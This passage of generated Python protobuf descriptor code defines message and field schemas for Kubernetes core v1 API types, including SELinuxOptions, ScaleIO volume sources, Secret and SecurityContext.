_descriptor.FieldDescriptor( name='limits', full_name='k8s.io.api.core.v1.ResourceRequirements.limits', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='requests', full_name='k8s.io.api.core.v1.ResourceRequirements.requests', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_RESOURCEREQUIREMENTS_LIMITSENTRY, _RESOURCEREQUIREMENTS_REQUESTSENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=30469, serialized_end=30827, ) _SELINUXOPTIONS = _descriptor.Descriptor( name='SELinuxOptions', full_name='k8s.io.api.core.v1.SELinuxOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='user', full_name='k8s.io.api.core.v1.SELinuxOptions.user', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='role', full_name='k8s.io.api.core.v1.SELinuxOptions.role', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.SELinuxOptions.type', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='level', full_name='k8s.io.api.core.v1.SELinuxOptions.level', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=30829, serialized_end=30902, ) _SCALEIOPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='ScaleIOPersistentVolumeSource', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='gateway', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.gateway', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='system', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.system', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.secretRef', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sslEnabled', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.sslEnabled', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='protectionDomain', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.protectionDomain', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storagePool', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.storagePool', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storageMode', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.storageMode', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeName', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.volumeName', index=7, number=8, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.fsType', index=8, number=9, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.ScaleIOPersistentVolumeSource.readOnly', index=9, number=10, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=30905, serialized_end=31167, ) _SCALEIOVOLUMESOURCE = _descriptor.Descriptor( name='ScaleIOVolumeSource', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='gateway', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.gateway', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='system', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.system', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.secretRef', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='sslEnabled', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.sslEnabled', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='protectionDomain', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.protectionDomain', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storagePool', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.storagePool', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storageMode', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.storageMode', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeName', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.volumeName', index=7, number=8, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.fsType', index=8, number=9, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.ScaleIOVolumeSource.readOnly', index=9, number=10, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=31170, serialized_end=31427, ) _SCOPESELECTOR = _descriptor.Descriptor( name='ScopeSelector', full_name='k8s.io.api.core.v1.ScopeSelector', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='matchExpressions', full_name='k8s.io.api.core.v1.ScopeSelector.matchExpressions', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=31429, serialized_end=31525, ) _SCOPEDRESOURCESELECTORREQUIREMENT = _descriptor.Descriptor( name='ScopedResourceSelectorRequirement', full_name='k8s.io.api.core.v1.ScopedResourceSelectorRequirement', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='scopeName', full_name='k8s.io.api.core.v1.ScopedResourceSelectorRequirement.scopeName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='operator', full_name='k8s.io.api.core.v1.ScopedResourceSelectorRequirement.operator', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='values', full_name='k8s.io.api.core.v1.ScopedResourceSelectorRequirement.values', index=2, number=3, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=31527, serialized_end=31615, ) _SECCOMPPROFILE = _descriptor.Descriptor( name='SeccompProfile', full_name='k8s.io.api.core.v1.SeccompProfile', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.SeccompProfile.type', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='localhostProfile', full_name='k8s.io.api.core.v1.SeccompProfile.localhostProfile', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=31617, serialized_end=31673, ) _SECRET_DATAENTRY = _descriptor.Descriptor( name='DataEntry', full_name='k8s.io.api.core.v1.Secret.DataEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.Secret.DataEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.Secret.DataEntry.value', index=1, number=2, type=12, cpp_type=9, label=1, has_default_value=False, default_value=b"", message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=31903, serialized_end=31946, ) _SECRET_STRINGDATAENTRY = _descriptor.Descriptor( name='StringDataEntry', full_name='k8s.io.api.core.v1.Secret.StringDataEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.Secret.StringDataEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.Secret.StringDataEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=31948, serialized_end=31997, ) _SECRET = _descriptor.Descriptor( name='Secret', full_name='k8s.io.api.core.v1.Secret', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.Secret.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='immutable', full_name='k8s.io.api.core.v1.Secret.immutable', index=1, number=5, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='data', full_name='k8s.io.api.core.v1.Secret.data', index=2, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='stringData', full_name='k8s.io.api.core.v1.Secret.stringData', index=3, number=4, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.Secret.type', index=4, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_SECRET_DATAENTRY, _SECRET_STRINGDATAENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=31676, serialized_end=31997, ) _SECRETENVSOURCE = _descriptor.Descriptor( name='SecretEnvSource', full_name='k8s.io.api.core.v1.SecretEnvSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='localObjectReference', full_name='k8s.io.api.core.v1.SecretEnvSource.localObjectReference', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='optional', full_name='k8s.io.api.core.v1.SecretEnvSource.optional', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=31999, serialized_end=32106, ) _SECRETKEYSELECTOR = _descriptor.Descriptor( name='SecretKeySelector', full_name='k8s.io.api.core.v1.SecretKeySelector', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='localObjectReference', full_name='k8s.io.api.core.v1.SecretKeySelector.localObjectReference', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.SecretKeySelector.key', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='optional', full_name='k8s.io.api.core.v1.SecretKeySelector.optional', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=32108, serialized_end=32230, ) _SECRETLIST = _descriptor.Descriptor( name='SecretList', full_name='k8s.io.api.core.v1.SecretList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.SecretList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.SecretList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=32232, serialized_end=32353, ) _SECRETPROJECTION = _descriptor.Descriptor( name='SecretProjection', full_name='k8s.io.api.core.v1.SecretProjection', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='localObjectReference', full_name='k8s.io.api.core.v1.SecretProjection.localObjectReference', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.SecretProjection.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='optional', full_name='k8s.io.api.core.v1.SecretProjection.optional', index=2, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=32356, serialized_end=32510, ) _SECRETREFERENCE = _descriptor.Descriptor( name='SecretReference', full_name='k8s.io.api.core.v1.SecretReference', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.SecretReference.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='namespace', full_name='k8s.io.api.core.v1.SecretReference.namespace', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=32512, serialized_end=32562, ) _SECRETVOLUMESOURCE = _descriptor.Descriptor( name='SecretVolumeSource', full_name='k8s.io.api.core.v1.SecretVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='secretName', full_name='k8s.io.api.core.v1.SecretVolumeSource.secretName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.SecretVolumeSource.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='defaultMode', full_name='k8s.io.api.core.v1.SecretVolumeSource.defaultMode', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='optional', full_name='k8s.io.api.core.v1.SecretVolumeSource.optional', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=32564, serialized_end=32689, ) _SECURITYCONTEXT = _descriptor.Descriptor( name='SecurityContext', full_name='k8s.io.api.core.v1.SecurityContext', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='capabilities', full_name='k8s.io.api.core.v1.SecurityContext.capabilities', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='privileged', full_name='k8s.io.api.core.v1.SecurityContext.privileged', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='seLinuxOptions', full_name='k8s.io.api.core.v1.SecurityContext.seLinuxOptions', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='windowsOptions', full_name='k8s.io.api.core.v1.SecurityContext.windowsOptions', index=3, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='runAsUser', full_name='k8s.io.api.core.v1.SecurityContext.runAsUser', index=4, number=4, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='runAsGroup', full_name='k8s.io.api.core.v1.SecurityContext.runAsGroup', index=5, number=8, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='runAsNonRoot', full_name='k8s.io.api.core.v1.SecurityContext.runAsNonRoot', index=6, number=5, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnlyRootFilesystem', full_name='k8s.io.api.core.v1.SecurityContext.readOnlyRootFilesystem', index=7, number=6, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='allowPrivilegeEscalation', full_name='k8s.io.api.core.v1.SecurityContext.allowPrivilegeEscalation', index=8, number=7, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='procMount', full_name='k8s.io.api.core.v1.SecurityContext.procMount', index=9, number=9, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='seccompProfile', full_name='k8s.io.api.core.v1.SecurityContext.seccompProfile', index=10, number=11, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=32692, serialized_end=33126, ) _SERIALIZEDREFERENCE = _descriptor.Descriptor( name='SerializedReference', full_name='k8s.io.api.core.v1.SerializedReference', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='reference', full_name='k8s.io.api.core.v1.SerializedReference.reference', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, 